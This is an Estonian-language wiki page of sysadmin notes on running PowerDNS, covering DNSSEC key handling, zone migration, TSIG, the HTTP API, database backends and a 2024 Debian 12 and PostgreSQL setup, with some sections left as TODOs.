====KSK====&lt;br /&gt;
&lt;br /&gt;
KSK moodi võtme lisamiseks sobib öelda, selliselt võib tsooniga siduda ka enam kui kaks võtit&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtmed paistavad käsu väljundis&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemusena paistab dnsviz keskkonnas selline pilt&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtme eemaldamiseks sobib öelda, kus ID on show-zone väljundist välja valitud võtme ID väärtus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil remove-zone-key moraal.ee ID&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/howtos/#zsk-rollover&lt;br /&gt;
&lt;br /&gt;
===Mitmesugused haldusprotseduurid===&lt;br /&gt;
&lt;br /&gt;
====tsooni backend muutmine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Tsooni migreerimiseks suvalisest AXFR-võimelisest nimeserverist sobib&lt;br /&gt;
&lt;br /&gt;
* kirjeldada PowerDNS peal slave&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-slave-zone moraal.ee 10.0.6.15&lt;br /&gt;
 Feb 21 22:09:52 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 Creating slave zone 'moraal.ee', with master(s) '10.0.6.15:53'&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmed axfr abil üle, kopeerimist kiirendab&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
&lt;br /&gt;
* muuta PowerDNS tsooni jaoks masteriks, öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; UPDATE domains set type='MASTER' where type='SLAVE';&lt;br /&gt;
&lt;br /&gt;
Kui allikaks on nt BIND ning tsoonifailis on kasutatud generate konstruktsiooni, siis need lahenduvad automaatselt ära&lt;br /&gt;
&lt;br /&gt;
 $GENERATE 1-255 $ IN CNAME $.1-255.40.184.10.in-addr.arpa.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/migration/&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Analoogiliselt eelmisele punktile, aga&lt;br /&gt;
&lt;br /&gt;
* esmalt lülitada dnssec välja, kustutades DS kirje parent tsoonist ja oodates vähemalt DS kirje TTL aja enne järgmise punkti juurde asumist; seejärel on tsooni sisu endine st vanade võtmetega signeeritud andmestik&lt;br /&gt;
* tegevused eelmises punktis + uute võtmetega krüptimine&lt;br /&gt;
* asuda kasutama uute võtmetega krüptitud tsooni sisu, ja oodata nt 6 tundi&lt;br /&gt;
* juurutada parent tsoonis uus DS kirje&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla OpenDNSSEC keskkonnast koos vana KSK krüptomaterjaliga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et OpenDNSSEC kasutab SoftHSM backendi saab KSK krüptomaterjalid eksportida ja taaskasutada. Ettevalmistuseks tuleb kõnealune tsoon muus osas tavalisel viisil kasutusele võtta. SoftHSM pealt krüptomaterjali eksportimiseks tuleb esmalt teha kindlaks kolm väärust&lt;br /&gt;
&lt;br /&gt;
* SoftHSM label ja pin vaadata nt /etc/opendnssec/conf.xml failist&lt;br /&gt;
* kõnealuse tsooni ksk võtme id, vaadata KSK active realt tulp 'CKA_ID'&lt;br /&gt;
&lt;br /&gt;
 # ods-ksmutil key list -v&lt;br /&gt;
&lt;br /&gt;
sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # softhsm --export moraal.ee-ksk.pem --slot 0 --label &amp;quot;vaartus&amp;quot; --pin vaartus --id vaartus&lt;br /&gt;
 The key pair has been written to moraal.ee-ksk.pem&lt;br /&gt;
&lt;br /&gt;
teisendada nn BIND kujule&lt;br /&gt;
&lt;br /&gt;
 # softhsm-keyconv --tobind --in ksk.pem --name moraal.ee --ksk --algorithm RSASHA256&lt;br /&gt;
 The private key has been written to Kmoraal.ee+008+09122.private&lt;br /&gt;
 The public key has been written to Kmoraal.ee+008+09122.key&lt;br /&gt;
&lt;br /&gt;
ning võtta kasutusele PowerDNS juures&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil import-zone-key moraal.ee Kksk+008+53675.private active ksk&lt;br /&gt;
&lt;br /&gt;
Edasi seadistatakse DNSSEC analoogliselt nagu seada ikka PowerDNS puhul seadistatakse. Kusjuures 'pdnsutil import-zone-key ...' tulemus on sarnane nagu oleks öeldud&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.molnar-peter.hu/en/&lt;br /&gt;
&lt;br /&gt;
====pdns-control utiliidi kasutamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS kus on master tsoon saadab notify oma slavedele (nagu on tsoonifaili NS kirjetes kirjas)&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify &amp;lt;domain&amp;gt;&lt;br /&gt;
&lt;br /&gt;
või näidatud ip aadressile&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify-host &amp;lt;domain&amp;gt; &amp;lt;ip-address&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===TSIG kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimeserverite vahelise tsooniedastuse juures TSIG juurutamiseks tuleb esmalt tekitada võti&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil generate-tsig-key from_dns_to_itm hmac-sha256&lt;br /&gt;
 Generating new key with 64 bytes (this can take a while)&lt;br /&gt;
 Nov 26 13:10:37 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 Create new TSIG key from_dns_to_itm hmac-sha256 WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
ning seejärel võti ühe või enama tsooniedastusega seostada&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil activate-tsig-key moraal.ee from_dns_to_itm master&lt;br /&gt;
&lt;br /&gt;
Tulemus paistab nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil show-zone moraal.ee&lt;br /&gt;
Nov 26 14:09:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
This is a Master zone&lt;br /&gt;
Last SOA serial number we notified: 2016112602 == 2016112602 (serial in the database)&lt;br /&gt;
Zone is not actively secured&lt;br /&gt;
Zone has following allowed TSIG key(s): from_dns_to_itm&lt;br /&gt;
Metadata items: &lt;br /&gt;
        SOA-EDIT-API    DEFAULT&lt;br /&gt;
        TSIG-ALLOW-AXFR from_dns_to_itm&lt;br /&gt;
No keys for zone 'moraal.ee'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kontrolliks sobib kopeerida öeldes&lt;br /&gt;
&lt;br /&gt;
 $ dig @192.168.1.248 moraal.ee axfr -y &amp;quot;hmac-sha256:from_dns_to_itm:WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kusjuures vastuses on üks preudokirje lisaks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 from_dns_to_itm.        0       ANY     TSIG    hmac-sha256. 1480164029 300 32 t96WhnpNiAiL5KHXa8UzNthM6/p3ciQptF3Br2ZfhFk= 3538 NOERROR 0&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Sama TSIG võtit saab kasutada mitme tsooni jaoks ja nii on mugavam nt NSD patternit kasutada&lt;br /&gt;
* tundub, et tsooni jaoks TSIG juurutamisega kaasneb, et tsooni kopeerimise ip piirang enam ei kehti (lubatud ip pealt pöördudes ei ole võtme esitamine vajalik)&lt;br /&gt;
* kui tsooni juures on tsig sisse lülitatud, siis see mõjub nii notify kui xfr jaoks&lt;br /&gt;
* TSIG pseudokirjete arv suureneb vastavalt tsooni mahu suurenemisele, https://tools.ietf.org/html/rfc2845 'The TSIG MUST be included on the first and last DNS envelopes.  It can be optionally placed on any intermediary envelopes. It is expensive to include it on every envelopes, but it MUST be placed on at least every 100'th envelope.'&lt;br /&gt;
&lt;br /&gt;
Alternatiiv on kasutada -y asemel -k suvandit ja argumendiks failinime, faili sisuga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
key &amp;quot;from_yks_to_teine&amp;quot; {&lt;br /&gt;
algorithm HMAC-SHA256;&lt;br /&gt;
secret &amp;quot;YY8xvlL6yGjrt1G4xlfLBaidQOFdvixHgRXN6tXUPMitEKZUs7kl7qixJ0nSN1bbDJQxaFGkoKkBamNS7EPXbw==&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===API kasutamine===&lt;br /&gt;
&lt;br /&gt;
Üle API muudatuse tegemiseks peab eelnevalt PowerDNS serveris lülitama API sisse ning sisemise webserver käivitama&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.conf&lt;br /&gt;
 ..&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=apiparool&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
ja kasutama nt sellist skripti (töökohaarvutis on seejuures abil kasutada nt jq utiliiti)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat pdns-api.sh&lt;br /&gt;
curl -X PATCH --data \&lt;br /&gt;
'{&amp;quot;rrsets&amp;quot;: &lt;br /&gt;
  [{ &amp;quot;name&amp;quot;: &amp;quot;www.moraal.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [{ &amp;quot;content&amp;quot;: &amp;quot;192.168.254.5&amp;quot;, &amp;quot;disabled&amp;quot;: false }],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 86000,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;A&amp;quot;,&lt;br /&gt;
      &amp;quot;changetype&amp;quot;: &amp;quot;REPLACE&amp;quot;&lt;br /&gt;
  }]&lt;br /&gt;
}' -H 'X-API-Key: midagisalajast123' http://192.168.1.248:8081/api/v1/servers/localhost/zones/moraal.ee. | jq .&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
kas käivitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 $ sh pdns-api.sh&lt;br /&gt;
&lt;br /&gt;
API'ga tutvumiseks võib olla hea mõte kuulata pealt mingi olemasoleva API-rakenduse ja serveri vahelist liiklust ja siis seda Wireshark abil uurida.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/httpapi/README/ - tundub, et süntaks pole seal kõigis näidetes päris korrektne&lt;br /&gt;
&lt;br /&gt;
===PowerDNS kasutusstatistika===&lt;br /&gt;
&lt;br /&gt;
PowerDNS sisaldab sisemist veebiserverit, mille käest saab küsida teenuse kasutusstatistikat, TODO.&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et vaikimisi logitakse syslog'i.&lt;br /&gt;
&lt;br /&gt;
===Varundamine ja taaste===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine operatsioonisüsteemi paketihaldusest====&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks sobib öelda, tuleb paigalda üldosa + mingi backend, nt BIND-ühilduvate tsoonifailide käsitlemise komponent (st failisüsteem)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-bind&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib failisüsteemi&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/pdns.conf - peamine seadistusfail&lt;br /&gt;
&lt;br /&gt;
====MySQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====pdns-backend-mysql paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et MySQL baas juba töötab samas arvutis, sobib paigaldamiseks sobib öelda (seejuures kasutades db-config sistemat, mis paigaldamise käigus tekitab create database baasi, kasutaja, sätib privileegid jne)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-backend-mysql&lt;br /&gt;
 ..&lt;br /&gt;
 Determining localhost credentials from /etc/mysql/debian.cnf: succeeded.&lt;br /&gt;
 dbconfig-common: writing config to /etc/dbconfig-common/pdns-backend-mysql.conf&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/dbconfig-common/pdns-backend-mysql.conf with new version&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/powerdns/pdns.d/pdns.local.gmysql.conf with new version&lt;br /&gt;
 checking privileges on database pdns for pdns@localhost: user creation needed.&lt;br /&gt;
 granting access to database pdns for pdns@localhost: success.&lt;br /&gt;
 verifying access for pdns@localhost: success.&lt;br /&gt;
 creating database pdns: success.&lt;br /&gt;
 verifying database pdns exists: success.&lt;br /&gt;
 populating database via sql...  done.&lt;br /&gt;
 dbconfig-common: flushing administrative password&lt;br /&gt;
 Processing triggers for libc-bin (2.24-3) ...&lt;br /&gt;
 Processing triggers for pdns-server (4.0.1-5) ...&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
* tekitatakse MySQL kasutaja pdns&lt;br /&gt;
* tekitatakse MySQL create database pdns&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tundub, et otsekoheselt failisüsteemis tsoonifaili redigeerimise teel on mõeldav töötada ainult BIND-formaadis backendiga. Muudega tuleks kasutada pdnsutil utiliiti või API liidest. Tsoonide nimekiri kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/named.conf&lt;br /&gt;
 # Debian default: supermaster created zones are written here:&lt;br /&gt;
 include &amp;quot;/var/lib/powerdns/supermaster.conf&amp;quot;;&lt;br /&gt;
 # Example for a manually configured slave zone:&lt;br /&gt;
 #&lt;br /&gt;
 zone &amp;quot;example.net&amp;quot; {&lt;br /&gt;
    file &amp;quot;/var/lib/powerdns/zones.slave.d/example.net.zone&amp;quot;;&lt;br /&gt;
    type master;&lt;br /&gt;
    masters { 192.0.2.53; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Tsoon kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/powerdns/zones.slave.d/example.net.zone&lt;br /&gt;
 $TTL 180&lt;br /&gt;
 @           IN    SOA     ns1.example.net.      hostmaster.example.net. (&lt;br /&gt;
                        2014080705      ; Serial Number (date YYYYMMDD++)&lt;br /&gt;
                        86400           ; Refresh (24 hours)&lt;br /&gt;
                        1800            ; Retry (1/2 hour)&lt;br /&gt;
                        3600000         ; Expire (42 days)&lt;br /&gt;
                        21600)          ; Minimum (6 hours)&lt;br /&gt;
                        IN      NS      ns1.example.net.&lt;br /&gt;
                        IN      NS      ns2.example.net.&lt;br /&gt;
 &lt;br /&gt;
 @           IN    A       192.168.0.15&lt;br /&gt;
             IN    MX   10 mail.example.net.&lt;br /&gt;
 www         IN    A       192.168.0.15&lt;br /&gt;
 mail        IN    A       192.168.0.2&lt;br /&gt;
 ns1         IN    A       10.1.1.171&lt;br /&gt;
 ns2         IN    A       10.1.1.172&lt;br /&gt;
 imre        IN    A       10.1.1.173&lt;br /&gt;
&lt;br /&gt;
Muudatuse kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control bind-reload-now example.net&lt;br /&gt;
 example.net:    parsed into memory at 2016-10-26 20:43:14 +0300&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
pdns-backend-bind seadistatakse failist&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.d/bind.conf &lt;br /&gt;
 launch+=bind&lt;br /&gt;
 bind-config=/etc/powerdns/named.conf&lt;br /&gt;
 bind-supermaster-config=/var/lib/powerdns/supermaster.conf&lt;br /&gt;
 bind-supermaster-destdir=/var/lib/powerdns/zones.slave.d&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/named.conf - tsoonide nimekiri&lt;br /&gt;
* /var/lib/powerdns/supermaster.conf - lihtsal juhul tühi&lt;br /&gt;
* /var/lib/powerdns/zones.slave.d - BIND formaadis tsoonifailide kataloog&lt;br /&gt;
&lt;br /&gt;
Tsoonide haldamisega tegeleb edasi allpool olev punkt.&lt;br /&gt;
&lt;br /&gt;
====Poweradmin====&lt;br /&gt;
&lt;br /&gt;
Märkus: tõenäoliselt ei ole Poweradmin tarvkara kasutamine hea mõte kuna rakendus sodib otse PowerDNS andmebaasis ja 2016 aasta sügisel on hakanud tekkima paremaid alternatiive, nt nsedit.&lt;br /&gt;
&lt;br /&gt;
Poweradmin kasutamiseks peab PowerDNS kasutama SQL andmebaasi ja Poweradmin peab töötama vastu sama andmebaasi. Tundub, et Poweradmin töötab paremini MySQL + PHP5 keskkonnas. Kui Poweradmin PHP rakendus töötab teises arvutis kui MySQL baas, sobib baasis öelda&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'%' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'localhost' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; flush privileges;&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
 Added retrieval request for 'moraal.ee.' from master 192.168.1.247&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-powerdns-with-a-mariadb-backend-on-ubuntu-14-04&lt;br /&gt;
&lt;br /&gt;
====Tsooni andmestikust otsing====&lt;br /&gt;
&lt;br /&gt;
* Kõigi forward tsoonide sisust ip aadressi kasutamise leidmine&lt;br /&gt;
&lt;br /&gt;
 # for i in `pdns_control list-zones | grep -v All | grep -v in-addr`; do pdnsutil list-zone $i 2&amp;gt;&amp;amp;1 ; done | grep 10.20.123.154&lt;br /&gt;
 ftp.moraal.ee	300	IN	A	10.20.123.154&lt;br /&gt;
&lt;br /&gt;
===2024 aasta kevade tähelepanekud===&lt;br /&gt;
&lt;br /&gt;
Eesmärk&lt;br /&gt;
&lt;br /&gt;
* ühe operatsioonisüteemi peal kompaktselt lahenduse pidamine - Debian v. 12&lt;br /&gt;
* dns server - PowerDNS&lt;br /&gt;
* webgui haldusliides - PowerDNS-Admin (PDA)&lt;br /&gt;
* dnssec võimekus&lt;br /&gt;
* docker abil kasutatakse konteinerit (PDA)&lt;br /&gt;
* andmeid hoitakse PostgreSQL andmebaasis&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* dnssec kasutab algoritmi nr 13&lt;br /&gt;
* NSEC3 kasutab '1 0 0 -' seadistust&lt;br /&gt;
* sekundaarsete nimeserveritega suhtlemine toimub catalog-zones abil&lt;br /&gt;
* kasutatakse KSK/ZSK ja CSK lähenemist võtmete pidamisel&lt;br /&gt;
&lt;br /&gt;
Protseduuride võimekus&lt;br /&gt;
&lt;br /&gt;
* NSEC, NSEC3 ja NSEC3 param väärtuste muutmine&lt;br /&gt;
* võtme vahetus&lt;br /&gt;
* krüptimise algoritmi vahetus&lt;br /&gt;
&lt;br /&gt;
====Platvormi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
Platvorm koosneb&lt;br /&gt;
&lt;br /&gt;
* Debian v. 12 operatsioonisüsteem&lt;br /&gt;
* Docker Community Edition&lt;br /&gt;
* PostgreSQL v. 12&lt;br /&gt;
* NginX&lt;br /&gt;
&lt;br /&gt;
PostgreSQL&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-common&lt;br /&gt;
root@pdns:/tmp# mkdir /etc/postgresql-common/createcluster.d&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;initdb_options = '--data-checksums'&amp;quot; &amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# echo &amp;quot;create_main_cluster = false&amp;quot; &amp;gt;&amp;gt; /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
root@pdns:/tmp# apt-get install postgresql-16&lt;br /&gt;
root@pdns:/tmp# pg_createcluster --locale en_US.UTF-8 16 pgcluster_pdns_prod&lt;br /&gt;
 &lt;br /&gt;
postgres=# \x&lt;br /&gt;
Expanded display is on.&lt;br /&gt;
postgres=# \l postgres&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+------------&lt;br /&gt;
Name              | postgres&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | libc&lt;br /&gt;
Collate           | en_US.UTF-8&lt;br /&gt;
Ctype             | en_US.UTF-8&lt;br /&gt;
ICU Locale        | &lt;br /&gt;
ICU Rules         | &lt;br /&gt;
Access privileges | &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pdns login;&lt;br /&gt;
sql&amp;gt; \password pdns&lt;br /&gt;
sql&amp;gt; create database db_pdns owner = pdns;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PowerDNS-Admin kasutaja ja create database baasi tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql&lt;br /&gt;
sql&amp;gt; create role pda login;&lt;br /&gt;
sql&amp;gt; \password pda&lt;br /&gt;
sql&amp;gt; create database db_pda owner = pda;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS paigaldamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS ise ja tema tööks otseselt vajalikud komponendid (nt PostgreSQL andmebaas) töötavad nö tavalisel viisil operatsioonisüsteemi protsesside-teenustena st mitte-konteineritena.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install pdns-server pdns-backend-pgsql pdns-tools&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena käivitatakse pdns server ja tema bind backend.&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
PostgreSQL backend kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
Password for user pdns: &lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Baasi ligipääs jms kirjeldatakse failis, https://doc.powerdns.com/authoritative/backends/generic-postgresql.html#&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# egrep -v &amp;quot;^#|^$&amp;quot; /etc/powerdns/pdns.d/gpgsql.conf&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dbname=db_pdns&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-host=127.0.0.1&lt;br /&gt;
gpgsql-password=parool&lt;br /&gt;
gpgsql-port=5432&lt;br /&gt;
gpgsql-user=pdns&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
bind eemaldamiseks sobib kustutada fail&lt;br /&gt;
&lt;br /&gt;
 # rm /etc/powerdns/pdns.d/bind.conf&lt;br /&gt;
&lt;br /&gt;
Tulemusena töötab pdns server, gpgsql backendiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2024-06-16T16:44:00.877817+03:00 pdns systemd[1]: Starting pdns.service - PowerDNS Authoritative Server...&lt;br /&gt;
2024-06-16T16:44:00.906026+03:00 pdns pdns_server[3916]: Loading '/usr/lib/x86_64-linux-gnu/pdns/libgpgsqlbackend.so'&lt;br /&gt;
2024-06-16T16:44:00.906356+03:00 pdns pdns_server[3916]: This is a standalone pdns&lt;br /&gt;
2024-06-16T16:44:00.906408+03:00 pdns pdns_server[3916]: Listening on controlsocket in '/run/pdns/pdns.controlsocket'&lt;br /&gt;
2024-06-16T16:44:00.906668+03:00 pdns pdns_server[3916]: UDP server bound to 0.0.0.0:53&lt;br /&gt;
2024-06-16T16:44:00.906684+03:00 pdns pdns_server[3916]: UDP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906735+03:00 pdns pdns_server[3916]: TCP server bound to 0.0.0.0:53&lt;br /&gt;
2024-06-16T16:44:00.906750+03:00 pdns pdns_server[3916]: TCP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906866+03:00 pdns pdns_server[3916]: PowerDNS Authoritative Server 4.9.1 (C) PowerDNS.COM BV&lt;br /&gt;
2024-06-16T16:44:00.906881+03:00 pdns pdns_server[3916]: Using 64-bits mode. Built using gcc 12.2.0 on May 28 2024 07:46:05 by root@localhost.&lt;br /&gt;
2024-06-16T16:44:00.906891+03:00 pdns pdns_server[3916]: PowerDNS comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it according to the terms of the GPL version 2.&lt;br /&gt;
2024-06-16T16:44:00.915255+03:00 pdns pdns_server[3916]: Polled security status of version 4.9.1 at startup, no known issues reported: OK&lt;br /&gt;
2024-06-16T16:44:00.926644+03:00 pdns pdns_server[3916]: Creating backend connection for TCP&lt;br /&gt;
2024-06-16T16:44:00.935773+03:00 pdns pdns_server[3916]: About to create 3 backend threads for UDP&lt;br /&gt;
2024-06-16T16:44:00.935850+03:00 pdns systemd[1]: Started pdns.service - PowerDNS Authoritative Server.&lt;br /&gt;
2024-06-16T16:44:01.086206+03:00 pdns pdns_server[3916]: Done launching threads, ready to distribute questions&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ühtegi tsooni ei ole kirjeldatud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# pdnsutil list-all-zones&lt;br /&gt;
root@pdns:/tmp# &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS seadistamine====&lt;br /&gt;
&lt;br /&gt;
Seadistamisel tegeldakse&lt;br /&gt;
&lt;br /&gt;
* api sisselülitamine (PDA jaoks)&lt;br /&gt;
* SOA kirje vaikeväärtused&lt;br /&gt;
* DNSSEC vaike krüpto&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - PDA - docker====&lt;br /&gt;
&lt;br /&gt;
